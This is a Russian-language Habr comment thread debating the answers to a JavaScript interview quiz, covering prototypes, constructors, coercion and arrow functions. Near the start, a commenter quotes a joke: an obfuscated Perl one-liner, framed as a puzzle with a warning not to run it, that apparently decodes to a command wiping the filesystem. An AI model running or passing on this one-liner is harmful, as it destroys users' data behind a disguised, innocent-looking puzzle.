Как стать автором
Обновить

Комментарии 22

Ответы можно посмотреть, запустив данный скрипт.


Извините, напомнило тему с форума:
Заголовок спойлера
-Не могу понять, что должен вернуть скрипт:
echo «test… test… test...» | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`~{;;y; -/:-@[-`{|~};`-{/" *-;;s;;$_;see'

— (Нецензурная брань запустивших)

P.S. НЕ ЗАПУСКАЙТЕ эту команду в рабочей среде. Пожалуйста
стало интересно чо за скрипт, зопустил у себя. ошибки какие-то повыводило и все)) только как-то странно программы себя ведут, значки попропадали )))) попробую перегрузиццо)) Там в оригинале вроде cat «test… test… test...» был вместо echo.
Иногда не с первого раза работает :)
Да, запустил от рута — значки вернулись на место. Спасибо за подсказку!
сорри, публикую ответы
НЛО прилетело и опубликовало эту надпись здесь
Почему «больных»?
Я лично считаю такие вещи «особенностями языка». К сожалению, идеального ЯП, в котором все было бы так, как хочется, не существует :(
НЛО прилетело и опубликовало эту надпись здесь
Полностью поддерживаю. Даже если есть 10 лет стажа работы с JS, не все ответишь правильно.
Как по мне — лучше проверять не то, как человек умеет зубрить, а как он умеет применять на практике. Я лично знаю людей, которые в институте все вызубривали, а закончив — не знали, как применить эти знания и шли работать кто куда.
НЛО прилетело и опубликовало эту надпись здесь
+1.
Больше, больше неявных преобразований!

Ну и предложение «Array это функция, как и все классы в javascript.» прекрасно.
«Почему к вам нельзя ни в коем случае приходить на работу» в 30 строк.

Test 1.1: function
Array это функция, как и все классы в javascript.
Если все «классы» — это функции, можно пример функции, которая не является «классом», если ее вызвать через new? Запишем — что такое конструктор, вы не знаете.
Test 1.2: object
prototype функции — это Object
Да? function C() {}; C.prototype = ['неправда, вы не знаете JS']; console.log((new C)[0]);
Test 1.3: function
push — это метод Array, определенный в prototype
Это просто функция. Если вызвать ее, как Array.prototype.push('foo'), ничего хорошего не случится. Чтобы быть «методом», ее нужно вызывать, как [].push('foo'). Хотя с точки зрения системы типов это все равно функция, в prototype — это пока не метод.

Test 2.1: false
пустая строка преобразуется в false
Ну т.е. скажем, var a = {}; a[false] = 'foo'; a[""] = 'bar'; console.log(a[false] == a[""]); выведет true, правильно? :)
Test 2.2: true
null и undefined при преобразовании к boolean оба дают false
Великолепные рассуждения. Значит, null == 0, верно? Оба ж приводятся к false. Смотрите стандарт, 11.9.3, пожалуйста.
Test 2.3: true
!!n = false, n (пустая строка) тоже false
Опять такая же глупость, как и выше, и снова острая необходимость посмотреть 11.9.3 и 9.3.1.

Test 5: false
s.prototype — это отвлекающий маневр. prototype работает только на конструкторах (функциях). Поэтому s.b — undefined. И здесь подковырка — равны ли 0 и undefined? Нет, не равны.
А ваш же тест 2.2 говорит, что равны. Да, говорить, что «prototype работает только на конструкторах» — глупота. Если заменить объявление на s = function() {}; s.prototype.foo = 42;, s.foo не станет равно чему-то осмысленному.

Test 9.1: true
Переменная x была создана в глобальном контексте — т.е. она член window. При запуске функции this = window. То есть это условие верно.
По вашему, var lolka = 123; console.log(window.lolka); выведет 123? Я вас разочарую :)
Test 9.2: true
Да, window.x равна undefined.
Нет, window.x не определена — поэтому и undefined. Попробуйте Object.getOwnPropertyDescriptor(this, 'x'), убедитесь сами.
Test 9.3: true
Вот здесь интересный момент. Что такое undefined на самом деле? Это переменная window.undefined. В ранних версиях браузера ее можно было переопределить.
И значение этой переменной никак не влияло на значение непосредственно undefined. Это свойство существует из соображений обратной совместимости.


Я бы не взял вас на работу JavaScript-программистом, потому что JavaScript вы не знаете, но при этом твердо уверены в обратном.
Если все «классы» — это функции, можно пример функции, которая не является «классом», если ее вызвать через new?
isNaN.

prototype функции — это Object
Да?
По вашему примеру:
function F () {}; F.prototype = ['bar'];
typeof F.prototype; // "object"
F.prototype instanceof Object; // true

;-)

Это просто функция. Если вызвать ее, как Array.prototype.push('foo'), ничего хорошего не случится. Чтобы быть «методом», ее нужно вызывать, как [].push('foo'). Хотя с точки зрения системы типов это все равно функция, в prototype — это пока не метод.
А если вызвать Array.prototype.push.call([], 42)?

А ваш же тест 2.2 говорит, что равны. Да, говорить, что «prototype работает только на конструкторах» — глупота. Если заменить объявление на s = function() {}; s.prototype.foo = 42;, s.foo не станет равно чему-то осмысленному.
Вы наверное не поняли, вопрос был на внимательность; в идеале, если кандидат сразу отметит, что определять свойство prototype в том объекте нет никакого смысла и это уловка.

Переменная x была создана в глобальном контексте — т.е. она член window. При запуске функции this = window. То есть это условие верно.
По вашему, var lolka = 123; console.log(window.lolka); выведет 123? Я вас разочарую :)
Выполните свой код в глобальном контексте.

P.S. Вопросы, имхо, больше для Quiz'а, а не для собеседования.
Уже лучше, но пока еще недостаточно хорошо ;)

isNaN
isNaN — это функция не JavaScript, это функция на языке реализации движка JavaScript, а это две большие разницы. Так как она не реализована на JavaScript, ее свойства нельзя отнести к особенностям и возможностям языка, как нельзя, например, повторить семантику функций window.prompt() или window.alert() или создать пользовательский falsy-объект. Правильным ответом с вашей стороны должна была стать стрелочная функция:
var f = () => null;
new f // TypeError: f is not a constructor
У стрелочных функций нет собственного this, они наследуют this в области видимости определения, поэтому и конструкторами быть не могут.

По вашему примеру:
function F () {}; F.prototype = ['bar'];
typeof F.prototype; // "object"
F.prototype instanceof Object; // true
;)
function F() {}
F.prototype = null;
console.log((new F).__proto__ instanceof Object); // false
console.log(Object.create(null).__proto__ instanceof Object); // false
F.prototype = function() {};
console.log(typeof (new F).__proto__); // "function"
;)

А если вызвать Array.prototype.push.call([], 42)?
Вот выполнив .call, .apply или .bind, вы и превращаете функцию в «метод», назначив ей контекст выполнения. Поэтому Array.prototype.push.bind([]) — «метод», а Array.prototype.push — функция (ну или, точнее сказать, в такой записи это «метод», но над Array.prototype).

Вы наверное не поняли, вопрос был на внимательность; в идеале, если кандидат сразу отметит, что определять свойство prototype в том объекте нет никакого смысла и это уловка.
Неверные объяснения, как я понимаю, тоже являются уловкой и проверкой на внимательность самих проверяющих — если проверяющий согласился с таким объяснением, значит сразу в отбраковку обоих :)

Выполните свой код в глобальном контексте.
Да, увы, здесь ваша правда.
По поводу первого, в JS вообще есть вещи как Node, NodeList, etc которые нельзя использовать ни как конструктор(попробуйте инстанцировать), ни как функцию. Но при этом все мы знаем что мы работаем с объектами инстанцированными от них. То-есть это какбы класс, но который нельзя инстанцировать. Но вообще есть еще так называемый Text, который насследуется от Node, и мы его можем спокойно инстанцировать.

Вообще я на собеседованиях люблю наблюдать как мыслит человек в задачке поинтереснее:
var A = function(){
    this.items = [];
}
A.prototype = {
    addItem: function(item){
        this.items.push(item);
    }
};
var B = extend(A, {
    constructor: function(){
        this.addItem(Math.random);
    }
})
var elements = [
    new B,
    new B
];

И вопрос в том, что должно быть в extend, чтобы мы получили: items общую между всеми B и на отдельную для каждого инстанса.
Ну так есть и Null, и Undefined — вполне классы, но инстанцировать их нельзя :) Они не написаны на Javascript, поэтому так и получается. А в задачке нужно предоставить два решения — одно, чтобы (new B).items === (new B).items, и второе, чтобы (new B).items !== (new B).items, правильно понимаю?
Ваш вопрос звучал без уточнений:
можно пример функции, которая не является «классом», если ее вызвать через new?
И таких функций много в JS, которые нельзя использовать в качестве конструктора.
Если не хочется, чтобы ф-ю вызывали в качестве конструктора, можно сделать и так:
function F () { if (this instanceof F) throw TypeError('F() is not a constructor'); }

isNaN — это функция не JavaScript, это функция на языке реализации движка JavaScript, а это две большие разницы. Так как она не реализована на JavaScript, ее свойства нельзя отнести к особенностям и возможностям языка
Допустим я понял, что вы имели в виду в первом предложении. Но вот выделенное мне не очень ясно. Можно ли сказать тоже самое про остальные объекты/функции, описанные в спеке?

Правильным ответом с вашей стороны должна была стать стрелочная функция:
Ну вот видите, сами ответили на свой вопрос. Раз знали ответ заранее, значит решили потроллить автора :)

Хотя про ES6 не было речи, стрелочная функция — хороший пример и хорошая отправная точка для обсуждения с кандидатом ES6 (и ES7, если интересуется будущим языка).

function F() {}
F.prototype = null;
console.log((new F).__proto__ instanceof Object); // false

instanceof ищет прототип конструктора в цепочке прототипов объекта, сам же прототип в примере выше будет объектом:

typeof (new F).__proto__; // "object"
Object.prototype.toString.call((new F).__proto__); // "[object Object]"


Object.create(null) — особенный случай.

console.log(Object.create(null).__proto__ instanceof Object); // false
Использовать аксессор Object#__proto__ в этом случае не корректно, доступа к нему там просто нет. Поэтому и undefined. И мы всё же обсуждаем создание объектов конструкторами, поэтому правильнее:

function F () {}; F.prototype = Object.create(null);
var proto = Object.getPrototypeOf(new F);
typeof proto; // "object"
Object.prototype.toString.call(proto); // "[object Object]"


F.prototype = function() {};
console.log(typeof (new F).__proto__); // "function"
Вы забыли про (new F).__proto__ instanceof Object; // true

(кстати, вспомнил ещё вопрос из этой серии: объяснить почему
Object instanceof Function === Function instanceof Object; // true)

Неверные объяснения, как я понимаю, тоже являются уловкой и проверкой на внимательность самих проверяющих — если проверяющий согласился с таким объяснением, значит сразу в отбраковку обоих :)
Меня бы ответ автора на 5-й вопрос устроил. Я бы, пожалуй, уточнил, что надо поменять (используя прототип), чтобы сравнение было истинным. Впрочем, с многими остальными ответами не всё так плохо. С ремаркой: если не придираться к терминологии, некоторым пробелам, путанице с неявным преобразованием (спеку почитает). Мы же понимамаем, что эти вопросы не для сеньора с серьёзным практическим/теоретическим бэкграундом? :) Хотя, как я уже писал и соглашусь с остальными, такого рода вопросы слишком оторваны от реальных задач и более уместны для квизов (just for fun).

Ну и поясните пожалуйста, почему (с практической т.з., т.е. создания объектов)
говорить, что «свойство prototype работает только на конструкторах» — глупота.
По моей практике самые распространенный вопрос это setTimeout в цикле в различных вариациях. Второй по популярности это new и с ним спорит только call/apply вопросы.
Ахм, похоже, хабрапарсер съел всю прелесть, а заметил я это только что. Суть в том, что символы zero-width non-joiner и zero-width joiner допустимы в качестве символов в идентификаторах Javascript, т.к. они требуются в некоторых видах письма, типа арабского. Поэтому "a<zwnj>b" и "ab" — разные идентификаторы, которые, тем не менее, выглядят одинаково во многих редакторах.

Работающий пример: jsfiddle.net/qdy2Ldop/
Зарегистрируйтесь на Хабре, чтобы оставить комментарий

Публикации

Истории